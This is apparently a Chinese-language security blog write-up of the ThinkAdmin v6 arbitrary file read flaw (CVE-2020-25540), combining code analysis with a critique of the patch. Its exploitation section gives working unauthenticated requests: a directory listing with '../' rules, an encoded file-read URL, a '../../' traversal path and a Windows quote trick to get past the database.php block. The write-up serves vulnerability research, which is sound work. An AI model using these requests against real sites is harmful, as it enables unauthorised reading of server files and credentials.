Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)
环境搭建
下载 ThinkAdmin 的过去版本
通过 Commit 找到修复的位置,下载修复版本的前一个版本
/20200927113634.png)
可以通过对比,重点关注修复的相关信息。
/20200927165921.png)
可以注意到对于任意文件读取的防护仅仅是加了 禁止目录级别上跳
下载老版本的方法为,找到修改前的 Commit 点击 Browse files 就可以下载过去的版本了。
/20200927170556.png)
按照配置创建和导入数据库,就安装成功了。
/20200927171052.png)
漏洞利用
获取版本信息
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/version
/20200927171443.png)
读取网站目录
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/node
POST rules=["/"]
/20200927171635.png)
POST rules=["../"]
/20200927171826.png)
任意文件读取
1 |
|
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b34332r1a342w34
/20200927172454.png)
/20200927172527.png)
漏洞分析
我下载的版本为漏洞修复前的版本,可能与网上的文章有些不同,不过大体上是相同的。
app/admin/controller/api/Update.php 中引用了两个 function 可不通过登录认证就可使用。
/20200927173039.png)
\app\admin\controller\api\Update::version 可以获取到当前版本
/20200927173422.png)
目录穿越
\app\admin\controller\api\Update::node
/20200927173458.png)
将 POST 传入的参数 rules & ignore 传递给 ModuleService::instance()->getChanges()
跟进函数 \think\admin\service\ModuleService::getChanges
/20200927174009.png)
在 getChanges() 函数内,遍历传进的 $rules 数组,将参数进行转换,并与网站根目录进行路径拼接,传递给 _scanLocalFileHashList ,返回文件名与哈希值。
\think\admin\service\ModuleService::_scanLocalFileHashList
/20200927174841.png)
在 _scanLocalFileHashList 中,通过 scanDirectory 遍历传过来目录下的文件
\think\admin\service\NodeService::scanDirectory
/20200927174942.png)
如此,攻击者就可以在未授权的情况下实现读取网站的文件列表。
目前采用的修复方法是,在读取完文件之后,对路径进行一个判断,看是否符合 checkAllowDownload 再返回数据。
/20200928102102.png)
任意文件读取
\app\admin\controller\api\Update::get
/20200928114325.png)
首先从 GET读取 encode 参数并使用 decode() 解码
\decode
/20200928115811.png)
对应的加密函数 encode()
\encode
/20200928115932.png)
跟进函数 checkAllowDownload 对传入的路径进行判断
\think\admin\service\ModuleService::checkAllowDownload
/20200928120103.png)
然后跟进白名单判断函数 _getAllowDownloadRule()
\think\admin\service\ModuleService::_getAllowDownloadRule
/20200928120240.png)
被允许的列表
1 | config |
也就是说 $name 的不能为 databases.php 并且必须要再允许列表内的。
可以通过 public/static/../../poc.php 来读取网站根目录下的 poc.php
针对 database.php 的限制,在 Windows 下可以通过 " 来进行绕过。
public/static/../../config/database"php
emmm,但是我是没有读取出来。
事实上,利用这种方法是可以读取文件的
/20200928132636.png)
/20200928132727.png)
目前采用的修复方法还是添加了
1 | // 禁止目录级别上跳 |
思考
我想这个修复方法还是存在问题的,首先是对这些文件权限配置的问题,根本没有修复对文件的访问权限,再未登录的情况下,仍然能实现对文件的访问。其实是修复过滤的问题,虽然采用了增加黑名单的模式,但是,还是能直接获取得到网站的文件列表。
/20200928102102.png)
/20200928103248.png)
/20200928103446.png)
修复后还是首先对传入的路径进行一个查询,得出所有的文件的路径,然后将获取得到文件的路径进行判断,并不是直接对传入的路径进行判断。可能比较拗口,但是这样说,大概就能清楚。我们首先传入 / ,然后会获取得到网站根目录下所有文件的路径名,like app/admin/controller/Auth.php 然后这些值就会进行
checkAllowDownload 的检验。 然后白名单为
/20200928112840.png)
所以还是可以列出根目录下的一些文件滴。
目前的过滤的 .. 暂时没有什么方法可以绕过。但是漏洞的位置还是存在,如果特殊情况可以绕过 .. 的话,还是可以实现任意文件读取。